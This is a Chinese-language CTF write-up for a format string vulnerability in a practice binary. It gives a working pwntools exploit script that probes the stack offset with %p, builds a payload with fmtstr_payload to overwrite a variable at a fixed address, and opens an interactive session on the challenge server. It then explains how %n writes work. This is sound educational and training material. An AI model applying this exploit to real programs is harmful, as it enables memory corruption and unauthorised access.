输入字符串s,然后printf(&s)。
好用的函数是pwntools中的fmtstr_payload函数。
代码如下:
from pwn import *
context(log_level='info', arch='i386', os='linux')
io = remote('111.200.241.244', 57374)
elf = ELF('pwn')
pwnme_addr = 0x0804A068
io.recvline()
io.sendline('y')
io.recvline()
# io.sendline('AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p')
# AAAA-0xffa0456e-0xf777b5a0-0xf0b5ff-0xffa0459e-0x1-0xc2-0xa79a8fb-(nil)-(nil)-0x41414141-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70
e = fmtstr_payload(10, {pwnme_addr: 8})
# 字符串e为 "%8c%12$nh\xa0\x04\x08"
# 其中fmtstr_payload的第一个参数10是代表偏移,即上面AAAA那一行字符串中0x41414141出现在第10个%p的位置。
# 第二个参数中pwnme_addr代表要修改的位置的绝对地址,这里是0x0804A068,它冒号后面的8代表要把这个位置的数修改成8
# 注意这个函数在使用之前要用context(log_level='info', arch='i386', os='linux')指定环境类型
print(e)
io.sendline(e)
io.interactive()
这里再深入理解一下最后传入的那个字符串
%8c%12nh\xa0\x04\x08
arg12: \x68 \xa0 \x04 \x08
arg11: 1 2 n
arg10: % 8 c %
从第10个参数开始,存放这一整个个字符串。
%8c是强制输出8个字符。
%12n的意思是将第12个参数的那个地址处写入在这之前已经输出的字符个数,这里是8个字符。
试想一下,如果想用printf("aaa%n", &v);则会在变量v中写入3,因为在%n之前已经输出了3个字符,注意这里传入的是&v,也就是v的地址。
因此,我们printf("%8c%12nh\xa0\x04\x08"),这里的%n被扩展为了%12$n,他会在printf除第一个字符串参数的第12个参数的地址中写入%n之前打印的字符数。%8c是强制打印8个字符,根据我们上面画的那个参数列表图。printf的第一个字符串位于arg10的位置,这是通过"AAAA-%p-%p-%p-%p-%p-%p-%p"得到的。然后我们往上写arg11和arg12,在arg12的地方正好写入我们想写的目标地址。这样一来,我们就可以在printf的第12个额外参数,也就是\x68 \xa0 \x04 \x08的位置写入8。